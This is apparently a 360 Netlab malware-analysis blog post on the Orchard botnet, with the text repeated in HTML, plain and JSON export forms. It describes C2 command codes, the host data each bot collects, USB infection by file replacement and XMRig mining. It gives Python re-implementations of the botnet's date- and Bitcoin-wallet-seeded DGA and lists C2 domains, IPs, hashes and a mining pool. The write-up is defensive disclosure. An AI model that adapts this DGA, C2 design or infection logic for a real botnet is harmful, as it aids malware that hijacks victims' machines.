v3 DGA algorithm is as follows.</p><pre><code># 2022/07/05
import datetime
import requests
import hashlib
# cluster 1
days = 30
for i in range(0, days):
domains = ['ojena.duckdns.org', 'vgzero.duckdns.org']
for do in domains:
datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y-%m-%d' + do)
print("seed_1: %s" % datex)
md5 = hashlib.md5(datex.encode()).hexdigest()
print("md5: %s" % md5)
dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
print(dga_list[j] + '.com')
print(dga_list[j] + '.net')
print(dga_list[j] + '.org')
print(dga_list[j] + '.duckdns.org')
# cluster 2
url = 'https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa'
res = requests.get(url)
wallet_info = res.text
print('seed_2: %s' % wallet_info)
md5 = hashlib.md5(wallet_info.encode()).hexdigest()
print('md5: %s' % md5)
dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
print(dga_list[j] + '.com')
print(dga_list[j] + '.net')
print(dga_list[j] + '.org')
print(dga_list[j] + '.duckdns.org')
</code></pre><h2 id="usb-infection">USB Infection</h2><p>Orchard's file infection is not a traditional code insertion, but a file replacement. When a USB storage device is detected, Orchard will create a hidden directory under the root directory of the device, traverse all files for infection, and back up the files before and after infection to this hidden directory, the infected object is infected with the type attribute removed, and after infection all become exe type, and append the .exe suffix to become an executable file. Then the sample will copy itself to the infected directory and randomly named, the string is saved to the resources of the infected file. When the infected file in the device is executed by the user in the new system, it will launch the sample file in the hidden directory to achieve the purpose of spreading the infection.</p><p>The USB infection process involves two embedded PE files, the first one is a DLL file that will be released to the %LocalAppData% directory, this DLL is called CGO_Helper by Orchard and is mainly used to extract and replace the icon of the infected file, its MD5 is The second file is an exe file with MD5 of f3c06399c68c5fdf80bb2853f8f2934b, which is used as a template file to store the infected code, and all the data of the infected file will be replaced with the data of this template file. The function of this template is to find the corresponding exe in the hidden directory to start execution according to the exe name in the resource, so the resource of the infected file is saved with the name of the backup Orchard sample.</p><p>USB infection case example is as follows, the name of Orchard sample is saved in the resource of the infected file, when the user clicks on the infected exe, it will start the Orchard sample file in the hidden directory.</p><figure class="kg-card kg-image-card"><img src="https://blog.netlab.360.com:8443/content/images/2022/07/-----4.png" class="kg-image" alt="-----4" loading="lazy"></figure><h1 id="summary">Summary</h1><p>Orchard is a botnet family that uses DGA technology. The latest version is dedicated to mining and has started using more unpredictable information like transaction information of bitcoin accounts as input to DGA, making detection more difficult. In over 1 year, Orchard has appeared in 3 different versions with changes in programming language and DGA implementation, indicating that Orchard is a botnet family that is still active and deserves our vigilance. We expect more variants to emerge subsequently, for which we will continue to keep an eye on, and will continue to disclose new findings.</p><!--kg-card-begin: markdown--><h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or email us to <strong>netlab[at]360.cn</strong>.</p>
<!--kg-card-end: markdown--><h2 id="iocs">IOCs</h2><h3 id="c2">C2</h3><pre><code>orcharddns.duckdns.org
orchardmaster.duckdns.org
ojena.duckdns.org
vgzero.duckdns.org
victorynicholas.duckdns.org
zamarin1.duckdns.org
45.61.185.36
45.61.186.52
45.61.187.240
205.185.124.143
45.61.185.231
</code></pre><h3 id="md5">MD5</h3><pre><code>5c883ff8539b8d04be017a51a84e3af8
f3e0b960a48b433bc4bfe6ac44183b74
9cbe4bd27eba8c70b6eddaeb6707659b
cb442cbff066dfef2e3ff0c56610148f
10D42F5465D5D8808B43619D8266BD99
f3c06399c68c5fdf80bb2853f8f2934b
19159280736dbe6c11b7d6a57f6bb7b9
b5a6f78d5575a60316f4e784371d4f8c
3c20ba851edecd28c198691321429883
2b244a39571ab27f7bb4174d460adeef
ae1e9b3621ee041be6ab5e12bff37c53
00b1620f89b7980b34d53737d9e42fd3
4d2445a43591d041cabbbf3dfca6dfbd
</code></pre><h3 id="private-mining-pool">Private mining pool</h3><pre><code>45.61.187.7:7733
</code></pre><h2 id="contact-us"><strong>Contact us</strong></h2><p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">Twitter</a> or email us to netlab[at]360.cn.</p> | DGA is one of the classic techniques for botnets to hide their C2s, attacker only needs to selectively register a very small number of C2 domains, while for the defenders, it is difficult to determine in advance which domain names will be generated and registered.
360 netlab has long focused on the research of botnet attack and defense technology, we maintain a free DGA feed and share the research results with the industry.
Recently we discovered a new botnet that uses Satoshi Nakamoto's Bitcoin account transaction information to generate DGA domain name. Because of the uncertainty of Bitcoin transactions, this technique is more unpredictable than using the common time-generated DGAs, and thus more difficult to defend against.
The technique was discovered in a family of botnets we called Orchard. Since February 2021, this botnet has gone through 3 versions, and even switched programming languages in between.
Key points are as follow:
* Orchard is a botnet family that uses DGA technology with the core function of installing various malware on the victim's machine.
* From February 2021 to the present, we have detected 3 versions of Orchard samples, all using the DGA technique.
* Orchard's DGA algorithm has remained unchanged, but the use of dates has been changing, and the latest version also supports the use of bitcoin account information to generate separate DGA domains.
* In addition to DGA, Orchard also hardcodes C2 domains.
* Orchard is still active and dedicated to Monroe coin mining.
Overview
Orchard uses a redundant C2 mechanism of "hardcoded domain + DGA", and each version hardcodes a unique DuckDNS dynamic domain name as C2.
v1, orcharddns.duckdns.org
v2,orchardmaster.duckdns.org
v3, ojena.duckdns.org
A timeline is as follow
* 2021.3, v1, use C++. Combined with historical data, we found that the earliest appearance in January 2021
* 2021.9, v2, use Golang and C++
* 2022.7, v3, use C++
All three versions support propagation by infecting USB disks, much like traditional viruses, as described in the later section of "USB Infection Logic". Theoretically, Orchard can be spread in other ways as well.
Using our graph system in combination with PDNS and other dimensional data, we found that there is a clear case of shared IPs between the C2 of v1 and v2, as shown in the figure below.
The graph system helped us find more C2 IPs and domains, and the domains here are characterized by all ending in duckdns.org. v3 is relatively new and has fewer associated domains, and here is the active situation of v3 domains.
We can see that it was launched in May this year, and then gradually became active, and it should still be in the active period.
Based on our PDNS data, we evaluated the infection scale of the three versions, among which v1 and v2 have thousands of nodes, and v3 has less because of its late appearance, and the following is the detailed resolution number of each version of domain name to specific IP(note the numbers do not reflect all the bots as as our PDNS visibility focus mainly in China)
# v1, orcharddns.duckdns.org
37, 45.61.185.36
413, 45.61.186.52
1301, 45.61.187.240
207, 205.185.124.143
# v2, orchardmaster.duckdns.org
45, 45.61.185.36
104, 45.61.186.52
659, 45.61.187.240
# v3, ojena.duckdns.org
418, 45.61.185.231
Sample Analysis
Loader is used for counter analysis and self-protection. Currently Orchard loader is not fixed, even a single version can have a variety of loaders, for example, v1 version of Orchard is base64 encoded in the loader, v2/v3 version of the sample in the form of resource files stored in the loader in some cases. Each version has also used virtualization packers such as VMP, Enigma, etc. to protect itself. In general, Orchard's workflow can be summarized in the following diagram.
The functions of all three versions of Orchard are basically the same and include:
* Uploading device and user information
* Responding to commands/downloading to execute the next stage of the module
* Infecting USB storage devices
The core functions of each of the 3 versions of Orchard are analyzed below in several dimensions, such as DGA algorithm, C2 communication and host behavior.
v1 version
The analysis of this version is based on the sample with MD5=5c883ff8539b8d04be017a51a84e3af8. It first releases the embedded PE file to the self-boot directory at runtime, and the released PE is base64 decoded in memory to get the orchard data, and then the PE uses any exe under System32/SysWOW64 as a puppet process to run the saved orchard code. The overall logic of this version of Orchard is as follows, mainly divided into two parts: network communication and USB infection, the final function depends on the specific module issued by C2, so orchard itself can be considered as a Downloader.
Here we mainly describe its network communication process (the logic of USB infection is the same for all three versions, see the section on USB infection for details).
C2 communication process is relatively simple, the bot in the check-in process will contact C2 to send the collected host information, and then wait for C2 response. The response data format is generally "command + data", the function of the command is specified by the command code.
The information collected by v1 version includes: volume serial number (HWID), computer name, user name, operating system name, system version, installed capture driver name, antivirus information, parent process file modification time, top window name and window title, etc. These information are separated by "[o.r.c.h.a.r.d]". " as a separator and then sent as shown in the following figure.
The example of C2 response data is as follows, where "[&&]" stands for instruction code 2, which represents downloading and execution, and the specific processing is divided into 2 types: if the response data is a URL, the PE corresponding to the URL is downloaded and executed; if it is a base64 encoded content, the decoded data is decoded first and then executed. The response data here is actually the new version of base64-encoded PE file, which is equivalent to upgrade, which also indicates that the old version may have been deprecated.
The v1 version defines a total of 8 instructions, and the correspondence between the instruction code and the instruction string is as follows.
1 \[=]
2 \[&&]
3 \[##]
4 \[###]
5 \[%%]
6 \[%%%]
7 \[#\_#]
8 \[\_\_\] \[>>] \[<<] \[^^] \[\*\] \[\~\] \[@] \[!] \[#\*\#\] \[#@#]
Due to the nulling of some instructions, the eight instructions actually correspond to three operations (subsequent versions are similar).
* Instruction code 1 and 2: determine whether the response data is URL or PE, if it is URL, then download and execute, if it is PE, then create a process to execute (CreateProcess to create a process, puppet process, remote thread injection, etc.).
* Instruction code 3, 4, 8: terminate the current process to delete the original file, or restart.
* Instruction code 7: collect C2, port, PID, file name information again to send to C2, example: orcharddns.duckdns.org[o.r.c.h.a.r.d]5890[o.r.c.h.a.r.d]2260[o.r.c.h.a.r.d]stage-3_.exe[o.r.c .h.a.r.d]
DGA Algorithm
v1's DGA takes the date string (e.g. "2022/07/05") as input, calculates its MD5 value, then divides the MD5 string into four 8-byte substrings, and splices them with the 4 suffixes of .com, .net, .org, .duckdns.org in turn to get the daily 4 groups of 16 DGA domain names, the algorithm is implemented as follows.
# 2021/04/15
import datetime
import hashlib
days=30
for i in range(0, days):
datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y/%m/%d')
print("seed: ", datex)
md5 = hashlib.md5(datex.encode()).hexdigest()
print('md5: ', md5)
dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
print(dga_list[j] + '.com')
print(dga_list[j] + '.net')
print(dga_list[j] + '.org')
print(dga_list[j] + '.duckdns.org')
Sample domains are as follow:
seed: 2022/07/05
md5: 91ac64d29f78281ad802f44648b2137f
91ac64d2.com
91ac64d2.net
91ac64d2.org
91ac64d2.duckdns.org
9f78281a.com
9f78281a.net
9f78281a.org
9f78281a.duckdns.org
d802f446.com
d802f446.net
d802f446.org
d802f446.duckdns.org
48b2137f.com
48b2137f.net
48b2137f.org
48b2137f.duckdns.org
v2 version
The v2 version appears as a sample of two programming language implementations, Golang and C++, but with the same functionality. The analysis here takes the Golang sample with MD5=f3e0b960a48b433bc4bfe6ac44183b74 as an example, and its C2 initialization function is shown below, which can obviously see the hard-coded C2 domain names.
The v2 version of C2 communication starts to use json format, and the meaning of the fields is relatively clear. It collects roughly the same information as v1, including: volume serial number (HWID), computer name, user name, system version, antivirus information, active window information, etc. The new fields are: .net framework version (e.g. v2.0.50727), USB status, outgoing package type and its own version. The following is an actual observed version number information, Bot_Version=1.2/G may be interpreted as: version=v1.2, writing language=Golang.
The v2 version of the C++ language sample integrates the same C2, and the version information in the live package becomes "Bot_version:1/C", which collects the information shown in the figure below.
According to the code similarity analysis, the v2 C++ language sample is homologous with the later v3 C++ sample, which means that the latter is evolved from the former.
The v2 version has a total of two kinds of instructions.
* Instruction 1: terminate the current process to delete the original file, or restart it.
* Instruction 2: Determine whether the response data is URL or PE, if it is URL, then download and execute, if it is PE, then create process and execute (CreateProcess create process, puppet process, remote thread injection, etc.).
DGA Algorithm
v2 version of DGA algorithm is the same as v1, the difference lies in the processing of the date string. v2 will splice the hard-coded domain name "orchardmaster.duckdns.org" after the date string, such as "2022/07/ 05orchardmaster.duckdns.org", and then apply the DGA algorithm of v1 to generate the domain name.
v3 version
The development language of v3 is back to C++, which also includes C2 communication and USB infection functions. C2 communication logic runs in a thread, which also includes a secondary thread tied to XMRig mining, and when Orchard has received the XMrig program and created a puppet process to run, the secondary thread will send mining-related hardware information to C2 again. The purpose of trying to read the configuration of the mining software from C2 is to check if the XMRig runtime configuration needs to be dynamically modified (XMRig provides a set of HTTP api that supports dynamically reading and modifying the runtime mining configuration).
Taking the sample with MD5=cb442cbff066dfef2e3ff0c56610148f as an example, the C2 communication function is as follows.
The v3 version also uses json format to save host information in C2 communication, and the overall structure of the sent data is Byte_0x46+TotalLen+InfoLen+Info.json. Compared to v2, v3 adds several fields related to mining, and the collected information includes:
* Active_Window: the name of the currently active window
* Antivirus: antivirus information
* Authentiate_Type: Windows authentication type
* CPU_Model: CPU information
* Camera: whether a camera is present
* Elevated: whether it is administrator privileges
* GPU_Models: graphics card information
* Identity:HWID\username\computer name
* Operating_System: System version information
* Ram_Size:Running memory size
* System_Architecture:Number of processors
* Threads:Number of cores per processor
* Version:Orchard version
An example of a live package for v3 is shown below.
The body part of C2 response message is also in json format, and its structure is:
TotalLen.dword+ Byte0x46+TotalLen+RespDataLen+RespData.json.
v3 supports 8 instructions, corresponding to 3 operations.
* Instruction 1: Collect host information/its own running status and send it to C2 (fields include Domain, In_Memory, Install_Path, Is_Patched, Message_Type, Patch_Name, Port, Power_SaverMode, Process_ID. (Process_Name, Process_Path, System_Idle, System_Uptime)
* Instruction 4, 6: terminate the current process to delete the original file, or restart.
* Instruction 7, 8: download & execute the miner program sent down
The following is an actual trace of the C2 response instruction.
Where Transfer_Port indicates that the host is expected to make another request to 2929, and Message_Type indicates the instruction code, whose value is 7, indicating download & execute.
After receiving the above instruction, bot makes another request to C2's TCP port 2929. Cuda is a parallel computing framework introduced by Nvidia that can only be used for its own GPU, and a Cuda_Version of 0 here means that Cuda is not supported.
C2 then responds with an XMRig miner program, which Client receives and saves and then injects XMRig into the puppet process according to instruction 7 to start performing mining work.
During the analysis we found that the v3 version has recently been continuously distributing an identical XMRig mining program, the latter integrated with the default mining configuration information, private mining pool address: 45.61.187.7:7733
DGA Algorithm
The DGA algorithm of v3 is unchanged, but the input is more variable. It actually generates two sets of DGA domains, the first set of domains is entered with a spelling algorithm of date string + "ojena.duckdns.org", shaped like "2022-08-02ojena.duckdns.org ". The second set of domain names is entered as the return result of the URL https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa. A typical return result is shown below.
{"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa":"final_balance":6854884253,"n_tx":3393,"total_received":6854884253}}
The meaning of the relevant fields can be found in Blockchain's API manual
It is worth emphasizing that the v3 version does not parse the returned results, but directly feed it into the DGA algorithm as a whole to generate the domain name. Instead, the wallet address 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa is said to be the Bitcoin Genesis address held by Satoshi Nakamoto himself. Over the past decade or so, small amounts of bitcoin have been transferred to this wallet on a daily basis for various reasons, so it is variable and that change is difficult to predict, so the balance information for this wallet can also be used as DGA input.
At the time of writing, we found that other researchers had recently noticed this use of bitcoin account transaction information as DGA input for v3. The results of their analysis agreed with ours, but they did not notice that Orchard had actually been around for a long time.
The complete v3 DGA algorithm is as follows.
# 2022/07/05
import datetime
import requests
import hashlib
# cluster 1
days = 30
for i in range(0, days):
domains = ['ojena.duckdns.org', 'vgzero.duckdns.org']
for do in domains:
datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y-%m-%d' + do)
print("seed_1: %s" % datex)
md5 = hashlib.md5(datex.encode()).hexdigest()
print("md5: %s" % md5)
dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
print(dga_list[j] + '.com')
print(dga_list[j] + '.net')
print(dga_list[j] + '.org')
print(dga_list[j] + '.duckdns.org')
# cluster 2
url = 'https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa'
res = requests.get(url)
wallet_info = res.text
print('seed_2: %s' % wallet_info)
md5 = hashlib.md5(wallet_info.encode()).hexdigest()
print('md5: %s' % md5)
dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
print(dga_list[j] + '.com')
print(dga_list[j] + '.net')
print(dga_list[j] + '.org')
print(dga_list[j] + '.duckdns.org')
USB Infection
Orchard's file infection is not a traditional code insertion, but a file replacement. When a USB storage device is detected, Orchard will create a hidden directory under the root directory of the device, traverse all files for infection, and back up the files before and after infection to this hidden directory, the infected object is infected with the type attribute removed, and after infection all become exe type, and append the .exe suffix to become an executable file. Then the sample will copy itself to the infected directory and randomly named, the string is saved to the resources of the infected file. When the infected file in the device is executed by the user in the new system, it will launch the sample file in the hidden directory to achieve the purpose of spreading the infection.
The USB infection process involves two embedded PE files, the first one is a DLL file that will be released to the %LocalAppData% directory, this DLL is called CGO_Helper by Orchard and is mainly used to extract and replace the icon of the infected file, its MD5 is The second file is an exe file with MD5 of f3c06399c68c5fdf80bb2853f8f2934b, which is used as a template file to store the infected code, and all the data of the infected file will be replaced with the data of this template file. The function of this template is to find the corresponding exe in the hidden directory to start execution according to the exe name in the resource, so the resource of the infected file is saved with the name of the backup Orchard sample.
USB infection case example is as follows, the name of Orchard sample is saved in the resource of the infected file, when the user clicks on the infected exe, it will start the Orchard sample file in the hidden directory.
Summary
Orchard is a botnet family that uses DGA technology. The latest version is dedicated to mining and has started using more unpredictable information like transaction information of bitcoin accounts as input to DGA, making detection more difficult. In over 1 year, Orchard has appeared in 3 different versions with changes in programming language and DGA implementation, indicating that Orchard is a botnet family that is still active and deserves our vigilance. We expect more variants to emerge subsequently, for which we will continue to keep an eye on, and will continue to disclose new findings.
Contact us
Readers are always welcomed to reach us on twitter or email us to netlab[at]360.cn.
IOCs
C2
orcharddns.duckdns.org
orchardmaster.duckdns.org
ojena.duckdns.org
vgzero.duckdns.org
victorynicholas.duckdns.org
zamarin1.duckdns.org
45.61.185.36
45.61.186.52
45.61.187.240
205.185.124.143
45.61.185.231
MD5
5c883ff8539b8d04be017a51a84e3af8
f3e0b960a48b433bc4bfe6ac44183b74
9cbe4bd27eba8c70b6eddaeb6707659b
cb442cbff066dfef2e3ff0c56610148f
10D42F5465D5D8808B43619D8266BD99
f3c06399c68c5fdf80bb2853f8f2934b
19159280736dbe6c11b7d6a57f6bb7b9
b5a6f78d5575a60316f4e784371d4f8c
3c20ba851edecd28c198691321429883
2b244a39571ab27f7bb4174d460adeef
ae1e9b3621ee041be6ab5e12bff37c53
00b1620f89b7980b34d53737d9e42fd3
4d2445a43591d041cabbbf3dfca6dfbd
Private mining pool
45.61.187.7:7733
Contact us
Readers are always welcomed to reach us on Twitter or email us to netlab[at]360.cn. | {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"Key points are as follow:\n\n* Orchard is a botnet family that uses DGA technology with the core function of installing various malware on the victim's machine.\n* From February 2021 to the present, we have detected 3 versions of Orchard samples, all using the DGA technique.\n* Orchard's DGA algorithm has remained unchanged, but the use of dates has been changing, and the latest version also supports the use of bitcoin account information to generate separate DGA domains.\n* In addition to DGA, Orchard also hardcodes C2 domains.\n* Orchard is still active and dedicated to Monroe coin mining."}],["code",{"code":"v1, orcharddns.duckdns.org\nv2,orchardmaster.duckdns.org\nv3, ojena.duckdns.org\n"}],["code",{"code":"* 2021.3, v1, use C++. Combined with historical data, we found that the earliest appearance in January 2021\n* 2021.9, v2, use Golang and C++\n* 2022.7, v3, use C++\n"}],["image",{"src":"__GHOST_URL__/content/images/2022/08/-------.png"}],["image",{"src":"https://blog.netlab.360.com:8443/content/images/2022/08/v3----.png","alt":"v3----","title":""}],["code",{"code":"# v1, orcharddns.duckdns.org\n37, 45.61.185.36\n413, 45.61.186.52\n1301, 45.61.187.240\n207, 205.185.124.143\n\n# v2, orchardmaster.duckdns.org\n45, 45.61.185.36\n104, 45.61.186.52\n659, 45.61.187.240\n\n# v3, ojena.duckdns.org\n418, 45.61.185.231\n"}],["image",{"src":"__GHOST_URL__/content/images/2022/08/------.png"}],["markdown",{"markdown":"* Uploading device and user information\n* Responding to commands/downloading to execute the next stage of the module\n* Infecting USB storage devices"}],["image",{"src":"__GHOST_URL__/content/images/2022/08/v1-----2.png"}],["image",{"src":"https://blog.netlab.360.com:8443/content/images/2022/08/v1.C-------4.png","alt":"v1.C-------4","title":""}],["image",{"src":"https://blog.netlab.360.com:8443/content/images/2022/08/v1.C-------5.png","alt":"v1.C-------5","title":""}],["code",{"code":"1 \\[=] \n2 \\[&&] \n3 \\[##] \n4 \\[###] \n5 \\[%%] \n6 \\[%%%] \n7 \\[#\\_#] \n8 \\[\\_\\_\\] \\[>>] \\[<<] \\[^^] \\[\\*\\] \\[\\~\\] \\[@] \\[!] \\[#\\*\\#\\] \\[#@#] \n"}],["markdown",{"markdown":"* Instruction code 1 and 2: determine whether the response data is URL or PE, if it is URL, then download and execute, if it is PE, then create a process to execute (CreateProcess to create a process, puppet process, remote thread injection, etc.).\n* Instruction code 3, 4, 8: terminate the current process to delete the original file, or restart.\n* Instruction code 7: collect C2, port, PID, file name information again to send to C2, example: orcharddns.duckdns.org[o.r.c.h.a.r.d]5890[o.r.c.h.a.r.d]2260[o.r.c.h.a.r.d]stage-3_.exe[o.r.c .h.a.r.d] "}],["code",{"code":"# 2021/04/15\nimport datetime\nimport hashlib\n\ndays=30\nfor i in range(0, days):\n datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y/%m/%d')\n print(\"seed: \", datex)\n md5 = hashlib.md5(datex.encode()).hexdigest()\n print('md5: ', md5)\n\n dga_list = []\n dga_list.append(md5[:8])\n dga_list.append(md5[8:16])\n dga_list.append(md5[16:24])\n dga_list.append(md5[24:32])\n for j in range(len(dga_list)):\n print(dga_list[j] + '.com')\n print(dga_list[j] + '.net')\n print(dga_list[j] + '.org')\n print(dga_list[j] + '.duckdns.org')\n"}],["code",{"code":"seed: 2022/07/05\nmd5: 91ac64d29f78281ad802f44648b2137f\n91ac64d2.com\n91ac64d2.net\n91ac64d2.org\n91ac64d2.duckdns.org\n9f78281a.com\n9f78281a.net\n9f78281a.org\n9f78281a.duckdns.org\nd802f446.com\nd802f446.net\nd802f446.org\nd802f446.duckdns.org\n48b2137f.com\n48b2137f.net\n48b2137f.org\n48b2137f.duckdns.org\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/09/3.png","cardWidth":"","caption":""}],["image",{"src":"https://blog.netlab.360.com:8443/content/images/2022/08/v2.golang-----1.png","alt":"v2.golang-----1","title":""}],["image",{"src":"https://blog.netlab.360.com:8443/content/images/2022/08/v2.C-------1.png","alt":"v2.C-------1","title":""}],["markdown",{"markdown":"* Instruction 1: terminate the current process to delete the original file, or restart it.\n* Instruction 2: Determine whether the response data is URL or PE, if it is URL, then download and execute, if it is PE, then create process and execute (CreateProcess create process, puppet process, remote thread injection, etc.).\n\n#### DGA Algorithm\nv2 version of DGA algorithm is the same as v1, the difference lies in the processing of the date string. v2 will splice the hard-coded domain name \"orchardmaster.duckdns.org\" after the date string, such as \"2022/07/ 05orchardmaster.duckdns.org\", and then apply the DGA algorithm of v1 to generate the domain name."}],["markdown",{"markdown":"### v3 version\nThe development language of v3 is back to C++, which also includes C2 communication and USB infection functions. C2 communication logic runs in a thread, which also includes a secondary thread tied to XMRig mining, and when Orchard has received the XMrig program and created a puppet process to run, the secondary thread will send mining-related hardware information to C2 again. The purpose of trying to read the configuration of the mining software from C2 is to check if the XMRig runtime configuration needs to be dynamically modified (XMRig provides a set of HTTP api that supports dynamically reading and modifying the runtime mining configuration).\nTaking the sample with MD5=cb442cbff066dfef2e3ff0c56610148f as an example, the C2 communication function is as follows."}],["image",{"src":"https://blog.netlab.360.com:8443/content/images/2022/07/v3-1.png","alt":"v3-1","title":""}],["markdown",{"markdown":"* Active_Window: the name of the currently active window\n* Antivirus: antivirus information\n* Authentiate_Type: Windows authentication type\n* CPU_Model: CPU information\n* Camera: whether a camera is present\n* Elevated: whether it is administrator privileges\n* GPU_Models: graphics card information\n* Identity:HWID\\username\\computer name\n* Operating_System: System version information\n* Ram_Size:Running memory size\n* System_Architecture:Number of processors\n* Threads:Number of cores per processor\n* Version:Orchard version"}],["image",{"src":"https://blog.netlab.360.com:8443/content/images/2022/08/v3.c-------1-1.png","alt":"v3.c-------1-1","title":""}],["markdown",{"markdown":"The body part of C2 response message is also in json format, and its structure is: \n```TotalLen.dword+ Byte0x46+TotalLen+RespDataLen+RespData.json```. \nv3 supports 8 instructions, corresponding to 3 operations.\n* Instruction 1: Collect host information/its own running status and send it to C2 (fields include Domain, In_Memory, Install_Path, Is_Patched, Message_Type, Patch_Name, Port, Power_SaverMode, Process_ID. (Process_Name, Process_Path, System_Idle, System_Uptime)\n* Instruction 4, 6: terminate the current process to delete the original file, or restart.\n* Instruction 7, 8: download & execute the miner program sent down\n\nThe following is an actual trace of the C2 response instruction."}],["image",{"src":"https://blog.netlab.360.com:8443/content/images/2022/08/v33-3.png","alt":"v33-3","title":""}],["image",{"src":"https://blog.netlab.360.com:8443/content/images/2022/08/v31-5.png","alt":"v31-5","title":""}],["image",{"src":"https://blog.netlab.360.com:8443/content/images/2022/08/v34-1-1.png","alt":"v34-1-1","title":""}],["markdown",{"markdown":"#### DGA Algorithm\nThe DGA algorithm of v3 is unchanged, but the input is more variable. It actually generates two sets of DGA domains, the first set of domains is entered with a spelling algorithm of date string + \"ojena.duckdns.org\", shaped like \"2022-08-02ojena.duckdns.org \". The second set of domain names is entered as the return result of the URL ```https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa```. A typical return result is shown below.\n\n```\n{\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\":\"final_balance\":6854884253,\"n_tx\":3393,\"total_received\":6854884253}}\n```"}],["code",{"code":"# 2022/07/05\nimport datetime\nimport requests\nimport hashlib\n\n# cluster 1\ndays = 30\nfor i in range(0, days):\n domains = ['ojena.duckdns.org', 'vgzero.duckdns.org']\n for do in domains:\n datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y-%m-%d' + do)\n print(\"seed_1: %s\" % datex)\n md5 = hashlib.md5(datex.encode()).hexdigest()\n print(\"md5: %s\" % md5)\n \n dga_list = []\n dga_list.append(md5[:8])\n dga_list.append(md5[8:16])\n dga_list.append(md5[16:24])\n dga_list.append(md5[24:32])\n for j in range(len(dga_list)):\n print(dga_list[j] + '.com')\n print(dga_list[j] + '.net')\n print(dga_list[j] + '.org')\n print(dga_list[j] + '.duckdns.org')\n\n\n# cluster 2\nurl = 'https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa' \nres = requests.get(url)\nwallet_info = res.text\nprint('seed_2: %s' % wallet_info)\nmd5 = hashlib.md5(wallet_info.encode()).hexdigest()\nprint('md5: %s' % md5)\n\ndga_list = []\ndga_list.append(md5[:8])\ndga_list.append(md5[8:16])\ndga_list.append(md5[16:24])\ndga_list.append(md5[24:32])\nfor j in range(len(dga_list)):\n print(dga_list[j] + '.com')\n print(dga_list[j] + '.net')\n print(dga_list[j] + '.org')\n print(dga_list[j] + '.duckdns.org')\n\n"}],["image",{"src":"https://blog.netlab.360.com:8443/content/images/2022/07/-----4.png","alt":"-----4","title":""}],["markdown",{"markdown":"# Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab) or email us to **netlab[at]360.cn**."}],["code",{"code":"orcharddns.duckdns.org\norchardmaster.duckdns.org\nojena.duckdns.org\nvgzero.duckdns.org\nvictorynicholas.duckdns.org\nzamarin1.duckdns.org\n\n45.61.185.36\n45.61.186.52\n45.61.187.240\n205.185.124.143\n45.61.185.231\n"}],["code",{"code":"5c883ff8539b8d04be017a51a84e3af8\nf3e0b960a48b433bc4bfe6ac44183b74\n9cbe4bd27eba8c70b6eddaeb6707659b\ncb442cbff066dfef2e3ff0c56610148f\n10D42F5465D5D8808B43619D8266BD99\nf3c06399c68c5fdf80bb2853f8f2934b\n19159280736dbe6c11b7d6a57f6bb7b9\nb5a6f78d5575a60316f4e784371d4f8c\n3c20ba851edecd28c198691321429883\n2b244a39571ab27f7bb4174d460adeef\nae1e9b3621ee041be6ab5e12bff37c53\n00b1620f89b7980b34d53737d9e42fd3\n4d2445a43591d041cabbbf3dfca6dfbd\n"}],["code",{"code":"45.61.187.7:7733\n"}]],"markups":[["a",["href","https://data.netlab.360.com/dga/"]],["a",["href","https://zh.m.wikipedia.org/zh-hans/Blockchain.com"]],["a",["href","http://cw.hubwiz.com/card/c/blockchain-api/1/3/9/"]],["strong"],["a",["href","https://twitter.com/360Netlab"]]],"sections":[[1,"p",[[0,[],0,"DGA is one of the classic techniques for botnets to hide their C2s, attacker only needs to selectively register a very small number of C2 domains, while for the defenders, it is difficult to determine in advance which domain names will be generated and registered."]]],[1,"p",[[0,[],0,"360 netlab has long focused on the research of botnet attack and defense technology, we maintain a free "],[0,[0],1,"DGA feed"],[0,[],0," and share the research results with the industry. "]]],[1,"p",[[0,[],0,"Recently we discovered a new botnet that uses Satoshi Nakamoto's Bitcoin account transaction information to generate DGA domain name. Because of the uncertainty of Bitcoin transactions, this technique is more unpredictable than using the common time-generated DGAs, and thus more difficult to defend against."]]],[1,"p",[[0,[],0,"The technique was discovered in a family of botnets we called Orchard. Since February 2021, this botnet has gone through 3 versions, and even switched programming languages in between."]]],[10,0],[1,"h1",[[0,[],0,"Overview"]]],[1,"p",[[0,[],0,"Orchard uses a redundant C2 mechanism of \"hardcoded domain + DGA\", and each version hardcodes a unique DuckDNS dynamic domain name as C2."]]],[10,1],[1,"p",[[0,[],0,"A timeline is as follow"]]],[10,2],[1,"p",[[0,[],0,"All three versions support propagation by infecting USB disks, much like traditional viruses, as described in the later section of \"USB Infection Logic\". Theoretically, Orchard can be spread in other ways as well."]]],[1,"p",[[0,[],0,"Using our graph system in combination with PDNS and other dimensional data, we found 